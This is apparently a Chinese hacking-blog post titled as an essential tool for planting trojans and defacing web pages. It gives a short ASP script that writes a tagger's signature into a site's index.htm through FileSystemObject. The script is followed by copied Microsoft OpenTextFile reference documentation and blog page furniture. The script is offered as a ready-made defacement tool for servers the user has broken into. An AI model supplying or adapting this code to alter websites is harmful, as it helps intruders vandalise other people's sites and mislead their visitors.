一整人ASP代码 挂马 挂黑页必备工具

一整人ASP代码 挂马 挂黑页必备工具
<%
public sub savetxt(txtname,inputtxt,intype)
  if trim(txtname) = empty then txtname = “INDEX.HTML”
  if inputtxt = empty then inputtxt = “”
  if cint(intype)<>8 and cint(intype)<>2 then  intype = 8
  set fso = server.CreateObject(“scripting.filesystemobject”)
  filepath = server.MapPath(txtname)
  if not fso.fileexists(filepath) then
   set txt = fso.opentextfile(filepath,8,true)
   txt.writeline inputtxt
exit sub
  end if
  set txt = fso.opentextfile(filepath,cint(intype))
  txt.writeline inputtxt
end sub  
call savetxt(“index.htm”,”路过BY 混世魔王“,8)
%>
OpenTextFile函数可以有三个参数, 第一个参数是必选的, 其余两个未可选可不选。第一个参数为”文件路径”; 第二个参数为”打开方式”, 其值可以为1,2或8, 只读方式为”ForReading”, 是默认的方式; 第三个参数是当要打开的文件不存在时, 是否创建此文件, 其值可以是True(不存在则创建此文件)或False。
1 以只读模式打开文件。不能对此文件进行写操作。
2 以只写方式打开文件。不能对此文件进行读操作。
8 打开文件并在文件末尾进行写操作。
描述
打开指定的文件并返回一个 TextStream 对象,可以读取、写入此对象或将其追加到文件。
语法
object.OpenTextFile(filename[, iomode[, create[, format]]])
OpenTextFile 方法的语法有以下部分:
部分 描述
object 必选。应为 FileSystemObject 对象的名称。
filename 必选。字符串表达式,指明要打开的文件名称。
iomode 可选。输入/输出模式,是下列三个常数之一:ForReading,ForWriting,或 ForAppending。
create 可选。Boolean 值,指出当指定的 filename 不存在时是否能够创建新文件。允许创建新文件时为 True,否则为 False。默认值为 False。
format 可选。三个 Tristate 值之一,指出以何种格式打开文件。若忽略此参数,则文件以 ASCII 格式打开。  
设置
iomode 参数可为下列设置之一:
常数 值 描述
ForReading      1      以只读模式打开文件。不能对此文件进行写操作。
ForWriting       2      以只写方式打开文件。不能对此文件进行读操作。
ForAppending    8      打开文件并在文件末尾进行写操作。
〈P〉 format 参数可为下列设置之一:
常数 值 描述
TristateUseDefault   -2   以系统默认格式打开文件。
TristateTrue          -1   以 Unicode 格式打开文件。
TristateFalse          0    以 ASCII 格式打开文件。
说明
以下代码举例说明如何使用 OpenTextFile 方法打开写文件:
Sub OpenTextFileTest
  Const ForReading = 1, ForWriting = 2, ForAppending = 8
  Dim fso, f
  Set fso = CreateObject(“Scripting.FileSystemObject”)
  Set f = fso.OpenTextFile(“c:\testfile.txt”, For Writing, True)
  f.Write “嗨,你好!”
  f.Close
End Sub

没有评论:

发表评论

Follow Us

FOLLOW US

Blog Archive

Comments

Blogger 提供支持.

Search This Blog

Tags

header ads